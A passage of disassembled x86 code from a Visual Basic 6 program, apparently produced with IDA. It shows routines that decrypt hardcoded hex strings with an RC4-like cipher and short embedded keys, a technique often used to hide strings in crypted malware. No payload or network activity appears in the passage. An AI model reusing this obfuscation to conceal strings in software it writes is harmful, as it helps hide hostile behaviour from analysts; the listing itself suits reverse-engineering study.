		lea	eax, [ebp+var_B4]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		call	__vbaVarCat
		push	eax
		call	__vbaI4ErrVar
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		call	rtcVarBstrFromAnsi
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	__vbaVarCat
		push	eax
		call	__vbaStrVarMove
		mov	edx, eax
		lea	ecx, [ebp+var_28]
		call	__vbaStrMove
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	6
		call	__vbaFreeVarList
		add	esp, 1Ch
		push	1
		pop	eax
		add	eax, [ebp+var_1C]
		jo	short loc_40DA85
		mov	[ebp+var_1C], eax
		jmp	loc_40D923
; ---------------------------------------------------------------------------


loc_40DA15:				; CODE XREF: sub_40D806+123j
		mov	edx, [ebp+var_28]
		lea	ecx, [ebp+var_34]
		call	__vbaStrCopy
		wait
		push	offset loc_40DA6C
		jmp	short loc_40DA58
; ---------------------------------------------------------------------------


loc_40DA28:				; DATA XREF: .text:0040131Co
		test	[ebp+var_4], 4
		jz	short loc_40DA36
		lea	ecx, [ebp+var_34]
		call	__vbaFreeStr


loc_40DA36:				; CODE XREF: sub_40D806+226j
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	5
		call	__vbaFreeVarList
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_40DA58:				; CODE XREF: sub_40D806+220j
					; DATA XREF: .text:00401318o
		lea	eax, [ebp+var_18]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	ecx, [ebp+var_28]
		call	__vbaFreeStr
		retn
; ---------------------------------------------------------------------------


loc_40DA6C:				; DATA XREF: sub_40D806+21Bo
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40DA80:				; CODE XREF: sub_40D806+9Dj
					; sub_40D806+109j
		jmp	loc_40139C
; ---------------------------------------------------------------------------


loc_40DA85:				; CODE XREF: sub_40D806+AEj
					; sub_40D806+12Ej ...
		call	__vbaErrorOverflow
sub_40D806	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA8A	proc near		; CODE XREF: sub_4097F2+19Ep
					; sub_4097F2+1DEp ...

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], offset dword_401320
		push	[ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_30], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		call	sub_40D806
		mov	edx, eax
		lea	ecx, [ebp+var_20]
		call	__vbaStrMove
		mov	eax, [ebp+var_20]
		push	esi
		mov	[ebp+var_28], eax
		push	80h
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_20], esi
		mov	[ebp+var_30], 8
		call	rtcStrConvVar2
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	__vbaVar2Vec
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	__vbaAryMove
		lea	ecx, [ebp+var_20]
		call	__vbaFreeStr
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	2
		call	__vbaFreeVarList
		add	esp, 0Ch
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40DBAA
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40E0D6
		mov	edx, eax
		lea	ecx, [ebp+var_1C]
		call	__vbaStrMove
		push	offset loc_40DB96
		jmp	short loc_40DB8A
; ---------------------------------------------------------------------------


loc_40DB56:				; DATA XREF: .text:0040132Co
		test	[ebp+var_4], 4
		jz	short loc_40DB64
		lea	ecx, [ebp+var_1C]
		call	__vbaFreeStr


loc_40DB64:				; CODE XREF: sub_40DA8A+D0j
		lea	ecx, [ebp+var_20]
		call	__vbaFreeStr
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	2
		call	__vbaFreeVarList
		add	esp, 0Ch
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40DB8A:				; CODE XREF: sub_40DA8A+CAj
					; DATA XREF: .text:00401328o
		lea	eax, [ebp+var_18]
		push	eax
		push	0
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40DB96:				; DATA XREF: sub_40DA8A+C5o
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_40DA8A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DBAA	proc near		; CODE XREF: sub_4097F2+2AC1p
					; sub_4097F2+2CABp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	dword ptr [esi]
		push	offset dword_401F34
		call	__vbaStrCmp
		test	eax, eax
		jz	short loc_40DBC7
		push	esi
		call	sub_40DD6E


loc_40DBC7:				; CODE XREF: sub_40DBAA+15j
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		push	1
		call	__vbaUbound
		and	dword_410094, 0
		test	eax, eax
		mov	[ebp+arg_4], eax
		jl	loc_40DD64
		push	ebx
		push	edi
		mov	esi, 100h


loc_40DBEC:				; CODE XREF: sub_40DBAA+1B2j
		movsx	edi, word ptr dword_410048+2
		cmp	edi, esi
		jb	short loc_40DBFC
		call	__vbaGenerateBoundsError


loc_40DBFC:				; CODE XREF: sub_40DBAA+4Bj
		mov	eax, dword_410060
		movzx	ax, byte ptr [eax+edi+100h]
		movsx	edi, word ptr dword_410048
		cmp	edi, esi
		mov	word ptr dword_410048+2, ax
		jb	short loc_40DC20
		call	__vbaGenerateBoundsError


loc_40DC20:				; CODE XREF: sub_40DBAA+6Fj
		movsx	ebx, word ptr dword_410048+2
		cmp	ebx, esi
		jb	short loc_40DC30
		call	__vbaGenerateBoundsError


loc_40DC30:				; CODE XREF: sub_40DBAA+7Fj
		mov	eax, dword_410084
		movzx	ebx, byte ptr [eax+ebx]
		cmp	ebx, esi
		jb	short loc_40DC42
		call	__vbaGenerateBoundsError


loc_40DC42:				; CODE XREF: sub_40DBAA+91j
		shl	ebx, 8
		add	ebx, dword_410060
		movzx	ax, byte ptr [ebx+edi]
		movsx	ebx, word ptr dword_410048+2
		cmp	ebx, esi
		mov	word ptr dword_410048, ax
		jb	short loc_40DC66
		call	__vbaGenerateBoundsError


loc_40DC66:				; CODE XREF: sub_40DBAA+B5j
		mov	eax, dword_410084
		mov	al, [eax+ebx]
		movsx	ebx, word ptr dword_410048
		cmp	ebx, esi
		mov	byte ptr dword_41004C+2, al
		jb	short loc_40DC83
		call	__vbaGenerateBoundsError


loc_40DC83:				; CODE XREF: sub_40DBAA+D2j
		movsx	edi, word ptr dword_410048+2
		cmp	edi, esi
		jb	short loc_40DC93
		call	__vbaGenerateBoundsError


loc_40DC93:				; CODE XREF: sub_40DBAA+E2j
		mov	eax, dword_410084
		mov	cl, [eax+ebx]
		mov	[eax+edi], cl
		movsx	ebx, word ptr dword_410048
		cmp	ebx, esi
		jb	short loc_40DCAE
		call	__vbaGenerateBoundsError


loc_40DCAE:				; CODE XREF: sub_40DBAA+FDj
		mov	al, byte ptr dword_41004C+2
		mov	ecx, dword_410084
		mov	[ecx+ebx], al
		movsx	edi, word ptr dword_410048+2
		cmp	edi, esi
		jb	short loc_40DCCC
		call	__vbaGenerateBoundsError


loc_40DCCC:				; CODE XREF: sub_40DBAA+11Bj
		mov	eax, dword_410084
		movzx	edi, byte ptr [eax+edi]
		cmp	edi, esi
		jb	short loc_40DCDE
		call	__vbaGenerateBoundsError


loc_40DCDE:				; CODE XREF: sub_40DBAA+12Dj
		movsx	ebx, word ptr dword_410048
		cmp	ebx, esi
		jb	short loc_40DCEE
		call	__vbaGenerateBoundsError


loc_40DCEE:				; CODE XREF: sub_40DBAA+13Dj
		mov	eax, dword_410084
		movzx	ebx, byte ptr [eax+ebx]
		cmp	ebx, esi
		jb	short loc_40DD00
		call	__vbaGenerateBoundsError


loc_40DD00:				; CODE XREF: sub_40DBAA+14Fj
		shl	ebx, 8
		add	ebx, dword_410060
		movzx	ebx, byte ptr [ebx+edi]
		cmp	ebx, esi
		jb	short loc_40DD16
		call	__vbaGenerateBoundsError


loc_40DD16:				; CODE XREF: sub_40DBAA+165j
		mov	eax, dword_410084
		mov	al, [eax+ebx]
		push	dword_410094
		mov	edi, [ebp+arg_0]
		mov	byte_410090, al
		push	dword ptr [edi]
		call	__vbaDerefAry1
		push	dword_410094
		mov	bl, [eax]
		push	dword ptr [edi]
		xor	bl, byte_410090
		call	__vbaDerefAry1
		mov	[eax], bl
		mov	eax, dword_410094
		add	eax, 1
		jo	short loc_40DD69
		cmp	eax, [ebp+arg_4]
		mov	dword_410094, eax
		jle	loc_40DBEC
		pop	edi
		pop	ebx


loc_40DD64:				; CODE XREF: sub_40DBAA+35j
		pop	esi
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_40DD69:				; CODE XREF: sub_40DBAA+1A8j
		call	__vbaErrorOverflow
sub_40DBAA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD6E	proc near		; CODE XREF: sub_40DBAA+18p

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4C		= dword	ptr -4Ch
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], esp
		mov	[ebp+var_4], offset dword_401330
		and	[ebp+var_14], 0
		and	[ebp+var_24], 0
		call	sub_40E01D
		call	sub_40E194
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	__vbaLenBstr
		mov	ecx, eax
		call	__vbaI2I4
		push	1
		mov	word ptr dword_41004C, ax
		pop	ecx
		sub	ax, cx
		jo	loc_40E018
		mov	esi, 100h
		mov	[ebp+var_4C], eax
		xor	ax, ax
		mov	word ptr dword_410048+2, ax


loc_40DDDC:				; CODE XREF: sub_40DD6E+14Aj
		cmp	ax, word ptr [ebp+var_4C]
		jg	loc_40DEBD
		add	ax, cx
		jo	loc_40E018
		movsx	eax, ax
		lea	edx, [ebp+var_24]
		push	edx
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_24], 2
		call	rtcMidCharBstr
		mov	edx, eax
		lea	ecx, [ebp+var_14]
		call	__vbaStrMove
		push	eax
		call	rtcAnsiValueBstr
		mov	ecx, eax
		call	__vbaUI1I2
		lea	ecx, [ebp+var_14]
		mov	byte_410090, al
		call	__vbaFreeStr
		lea	ecx, [ebp+var_24]
		call	__vbaFreeVar
		mov	ax, word ptr dword_410048+2
		mov	edi, dword_41004C
		mov	cx, ax
		mov	[ebp+var_54], 0FFh
		mov	word ptr dword_410048, cx


loc_40DE54:				; CODE XREF: sub_40DD6E+136j
		xor	edx, edx
		mov	dx, di
		sar	dx, 0Fh
		mov	ebx, edx
		xor	ebx, dword_410048
		xor	edx, [ebp+var_54]
		cmp	bx, dx
		jg	short loc_40DEA6
		movsx	ebx, cx
		cmp	ebx, esi
		jb	short loc_40DE79
		call	__vbaGenerateBoundsError


loc_40DE79:				; CODE XREF: sub_40DD6E+104j
		mov	eax, dword_41003C
		mov	cl, byte_410090
		mov	[eax+ebx], cl
		mov	cx, word ptr dword_410048
		mov	ax, word ptr dword_410048+2
		add	cx, di
		jo	loc_40E018
		mov	word ptr dword_410048, cx
		jmp	short loc_40DE54
; ---------------------------------------------------------------------------


loc_40DEA6:				; CODE XREF: sub_40DD6E+FDj
		push	1
		pop	ecx
		add	ax, cx
		jo	loc_40E018
		mov	word ptr dword_410048+2, ax
		jmp	loc_40DDDC
; ---------------------------------------------------------------------------


loc_40DEBD:				; CODE XREF: sub_40DD6E+72j
		xor	eax, eax
		mov	word ptr dword_410048, ax
		mov	[ebp+var_5C], 0FFh
		mov	[ebp+var_58], ecx


loc_40DECF:				; CODE XREF: sub_40DD6E+26Bj
		cmp	ax, word ptr [ebp+var_5C]
		mov	word ptr dword_410048+2, ax
		jg	loc_40DFDE
		movsx	edi, ax
		cmp	edi, esi
		jb	short loc_40DEEB
		call	__vbaGenerateBoundsError


loc_40DEEB:				; CODE XREF: sub_40DD6E+176j
		mov	eax, dword_410084
		movzx	ebx, byte ptr [eax+edi]
		cmp	ebx, esi
		jb	short loc_40DEFD
		call	__vbaGenerateBoundsError


loc_40DEFD:				; CODE XREF: sub_40DD6E+188j
		movsx	edi, word ptr dword_410048+2
		cmp	edi, esi
		jb	short loc_40DF0D
		call	__vbaGenerateBoundsError


loc_40DF0D:				; CODE XREF: sub_40DD6E+198j
		mov	eax, dword_41003C
		movzx	edi, byte ptr [eax+edi]
		cmp	edi, esi
		jb	short loc_40DF1F
		call	__vbaGenerateBoundsError


loc_40DF1F:				; CODE XREF: sub_40DD6E+1AAj
		shl	edi, 8
		add	edi, dword_410060
		movzx	ax, byte ptr [edi+ebx]
		movsx	ebx, word ptr dword_410048
		cmp	ebx, esi
		mov	word ptr dword_41004C, ax
		jb	short loc_40DF43
		call	__vbaGenerateBoundsError


loc_40DF43:				; CODE XREF: sub_40DD6E+1CEj
		movsx	edi, word ptr dword_41004C
		cmp	edi, esi
		jb	short loc_40DF53
		call	__vbaGenerateBoundsError


loc_40DF53:				; CODE XREF: sub_40DD6E+1DEj
		shl	edi, 8
		add	edi, dword_410060
		movzx	ax, byte ptr [edi+ebx]
		movsx	edi, word ptr dword_410048+2
		cmp	edi, esi
		mov	word ptr dword_410048, ax
		jb	short loc_40DF77
		call	__vbaGenerateBoundsError


loc_40DF77:				; CODE XREF: sub_40DD6E+202j
		mov	eax, dword_410084
		mov	al, [eax+edi]
		movsx	edi, word ptr dword_410048
		cmp	edi, esi
		mov	byte_410090, al
		jb	short loc_40DF94
		call	__vbaGenerateBoundsError


loc_40DF94:				; CODE XREF: sub_40DD6E+21Fj
		movsx	ebx, word ptr dword_410048+2
		cmp	ebx, esi
		jb	short loc_40DFA4
		call	__vbaGenerateBoundsError


loc_40DFA4:				; CODE XREF: sub_40DD6E+22Fj
		mov	eax, dword_410084
		mov	cl, [eax+edi]
		mov	[eax+ebx], cl
		movsx	edi, word ptr dword_410048
		cmp	edi, esi
		jb	short loc_40DFBF
		call	__vbaGenerateBoundsError


loc_40DFBF:				; CODE XREF: sub_40DD6E+24Aj
		mov	eax, dword_410084
		mov	cl, byte_410090
		mov	[eax+edi], cl
		mov	ax, word ptr dword_410048+2
		add	ax, word ptr [ebp+var_58]
		jo	short loc_40E018
		jmp	loc_40DECF
; ---------------------------------------------------------------------------


loc_40DFDE:				; CODE XREF: sub_40DD6E+16Bj
		and	word ptr dword_410048+2, 0
		and	word ptr dword_410048, 0
		push	offset loc_40E007
		jmp	short locret_40E006
; ---------------------------------------------------------------------------


loc_40DFF5:				; DATA XREF: .text:0040133Co
		lea	ecx, [ebp+var_14]
		call	__vbaFreeStr
		lea	ecx, [ebp+var_24]
		call	__vbaFreeVar
		retn
; ---------------------------------------------------------------------------

locret_40E006:				; CODE XREF: sub_40DD6E+285j
		retn
; ---------------------------------------------------------------------------


loc_40E007:				; DATA XREF: sub_40DD6E+280o
		mov	ecx, [ebp+var_10]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40E018:				; CODE XREF: sub_40DD6E+57j
					; sub_40DD6E+7Bj ...
		call	__vbaErrorOverflow
sub_40DD6E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E01D	proc near		; CODE XREF: sub_40DD6E+30p
		mov	ecx, dword_410098
		xor	eax, eax
		cmp	[ecx], ax
		jnz	locret_40E0D0
		push	ebx
		push	esi
		push	edi
		mov	word ptr dword_410048, ax
		mov	ebx, 100h


loc_40E03C:				; CODE XREF: sub_40E01D+A1j
		xor	cx, cx
		mov	word ptr dword_410048+2, cx


loc_40E046:				; CODE XREF: sub_40E01D+8Fj
		movsx	edi, cx
		cmp	edi, ebx
		jb	short loc_40E058
		call	__vbaGenerateBoundsError
		mov	ax, word ptr dword_410048


loc_40E058:				; CODE XREF: sub_40E01D+2Ej
		movsx	esi, ax
		cmp	esi, ebx
		jb	short loc_40E06A
		call	__vbaGenerateBoundsError
		mov	ax, word ptr dword_410048


loc_40E06A:				; CODE XREF: sub_40E01D+40j
		mov	cx, word ptr dword_410048+2
		add	cx, ax
		jo	short loc_40E0D1
		and	ecx, 0FFFF00FFh
		call	__vbaUI1I2
		shl	esi, 8
		add	esi, dword_410060
		mov	[esi+edi], al
		mov	cx, word ptr dword_410048+2
		mov	ax, word ptr dword_410048
		add	cx, 1
		jo	short loc_40E0D1
		cmp	cx, 0FFh
		mov	word ptr dword_410048+2, cx
		jle	short loc_40E046
		add	ax, 1
		jo	short loc_40E0D1
		cmp	ax, 0FFh
		mov	word ptr dword_410048, ax
		jle	loc_40E03C
		mov	eax, dword_410098
		or	word ptr [eax],	0FFFFh
		pop	edi
		pop	esi
		pop	ebx

locret_40E0D0:				; CODE XREF: sub_40E01D+Bj
		retn
; ---------------------------------------------------------------------------


loc_40E0D1:				; CODE XREF: sub_40E01D+57j
					; sub_40E01D+81j ...
		call	__vbaErrorOverflow
sub_40E01D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D6	proc near		; CODE XREF: sub_4097F2+2CCFp
					; sub_40D252+1E6p ...

var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], offset dword_401340
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_38]
		xor	esi, esi
		push	eax
		mov	[ebp+var_18], esi
		mov	[ebp+var_28], esi
		mov	[ebp+var_38], 2011h
		call	__vbaStrVarCopy
		mov	edx, eax
		lea	ecx, [ebp+var_18]
		call	__vbaStrMove
		push	esi
		lea	eax, [ebp+var_18]
		mov	[ebp+var_30], eax
		push	40h
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		mov	[ebp+var_38], 4008h
		call	rtcStrConvVar2
		lea	eax, [ebp+var_28]
		push	eax
		call	__vbaStrVarMove
		mov	edx, eax
		lea	ecx, [ebp+var_18]
		call	__vbaStrMove
		lea	ecx, [ebp+var_28]
		call	__vbaFreeVar
		push	offset loc_40E180
		jmp	short locret_40E17F
; ---------------------------------------------------------------------------


loc_40E168:				; DATA XREF: .text:0040134Co
		test	[ebp+var_4], 4
		jz	short loc_40E176
		lea	ecx, [ebp+var_18]
		call	__vbaFreeStr


loc_40E176:				; CODE XREF: sub_40E0D6+96j
		lea	ecx, [ebp+var_28]
		call	__vbaFreeVar
		retn
; ---------------------------------------------------------------------------

locret_40E17F:				; CODE XREF: sub_40E0D6+90j
		retn
; ---------------------------------------------------------------------------


loc_40E180:				; DATA XREF: sub_40E0D6+8Bo
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40E0D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E194	proc near		; CODE XREF: sub_40DD6E+35p

var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], esp
		mov	[ebp+var_4], offset dword_401350
		and	[ebp+var_30], 0
		push	11h
		push	offset dword_40876C
		lea	eax, [ebp+var_28]
		push	eax
		call	__vbaAryConstruct2
		xor	cx, cx
		mov	word_410092, cx
		mov	esi, 100h


loc_40E1DF:				; CODE XREF: sub_40E194+B8j
		mov	eax, 0FFh
		cmp	cx, ax
		jg	short loc_40E24E
		movsx	edi, cx
		cmp	edi, esi
		jb	short loc_40E1FC
		call	__vbaGenerateBoundsError
		mov	cx, word_410092


loc_40E1FC:				; CODE XREF: sub_40E194+5Aj
		call	__vbaUI1I2
		mov	ecx, [ebp+var_1C]
		mov	[ecx+edi], al
		movsx	edi, word_410092
		cmp	edi, esi
		jb	short loc_40E217
		call	__vbaGenerateBoundsError


loc_40E217:				; CODE XREF: sub_40E194+7Cj
		movsx	ebx, word_410092
		cmp	ebx, esi
		jb	short loc_40E227
		call	__vbaGenerateBoundsError


loc_40E227:				; CODE XREF: sub_40E194+8Cj
		mov	eax, [ebp+var_1C]
		mov	al, [eax+edi]
		mov	ecx, dword_410084
		mov	[ecx+ebx], al
		mov	cx, word_410092
		push	1
		pop	eax
		add	cx, ax
		jo	short loc_40E274
		mov	word_410092, cx
		jmp	short loc_40E1DF
; ---------------------------------------------------------------------------


loc_40E24E:				; CODE XREF: sub_40E194+53j
		push	offset loc_40E265


loc_40E253:				; DATA XREF: .text:00401358o
		lea	eax, [ebp+var_28]
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_30]
		push	eax
		push	0
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40E265:				; DATA XREF: sub_40E194:loc_40E24Eo
		mov	ecx, [ebp+var_10]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40E274:				; CODE XREF: sub_40E194+AFj
		call	__vbaErrorOverflow
sub_40E194	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E279	proc near		; CODE XREF: sub_4097F2+297Ep
					; sub_4097F2+29B4p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], esp
		mov	[ebp+var_4], offset dword_401360
		push	[ebp+arg_8]
		xor	esi, esi
		push	[ebp+arg_4]
		mov	[ebp+var_14], esi
		push	[ebp+arg_0]
		mov	[ebp+var_18], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_20], esi
		call	sub_40E325
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	__vbaAryMove
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40E0D6
		mov	edx, eax
		lea	ecx, [ebp+var_14]
		call	__vbaStrMove
		lea	eax, [ebp+var_20]
		push	eax
		push	esi
		call	__vbaErase
		push	offset loc_40E311
		jmp	short loc_40E2FA
; ---------------------------------------------------------------------------


loc_40E2F1:				; DATA XREF: .text:0040136Co
		lea	ecx, [ebp+var_14]
		call	__vbaFreeStr
		retn
; ---------------------------------------------------------------------------


loc_40E2FA:				; CODE XREF: sub_40E279+76j
					; DATA XREF: .text:00401368o
		lea	eax, [ebp+var_1C]
		push	eax
		xor	esi, esi
		push	esi
		call	__vbaAryDestruct
		lea	eax, [ebp+var_20]
		push	eax
		push	esi
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40E311:				; DATA XREF: sub_40E279+71o
		mov	ecx, [ebp+var_10]
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	0Ch
sub_40E279	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E325	proc near		; CODE XREF: sub_4097F2+2A8Fp
					; sub_4097F2+2BDAp ...

var_A4		= dword	ptr -0A4h
var_9C		= dword	ptr -9Ch
var_94		= dword	ptr -94h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
var_7C		= dword	ptr -7Ch
var_74		= dword	ptr -74h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0D0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], offset dword_401370
		xor	esi, esi
		mov	edx, offset aP6wh45cv043cq3 ; "P6wH45cv043CQ3H6"
		lea	ecx, [ebp+var_40]
		mov	[ebp+var_18], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_24], esi
		mov	[ebp+var_28], esi
		mov	[ebp+var_2C], esi
		mov	[ebp+var_30], esi
		mov	[ebp+var_34], esi
		mov	[ebp+var_38], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_54], esi
		mov	[ebp+var_58], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_7C], esi
		mov	[ebp+var_8C], esi
		mov	[ebp+var_9C], esi
		call	__vbaStrCopy
		mov	edx, offset aB4105bb7318446 ; "B4105BB731844633"
		lea	ecx, [ebp+var_3C]
		call	__vbaStrCopy
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_54]
		call	__vbaStrMove
		mov	edx, offset aWji1cq8s0 ; "WJi1CQ8s0"
		lea	ecx, [ebp+var_48]
		call	__vbaStrCopy
		mov	edx, offset a3b5bba33c50196 ; "3B5BBA33C5019624901EF1BF4B43C13D"
		lea	ecx, [ebp+var_44]
		call	__vbaStrCopy
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_58]
		call	__vbaStrMove
		push	esi
		push	esi
		push	1
		push	esi
		lea	eax, [ebp+var_6C]
		push	eax
		push	10h
		mov	ebx, 880h
		push	ebx
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_6C]
		mov	[ebp+var_74], esi
		mov	[ebp+var_7C], 2
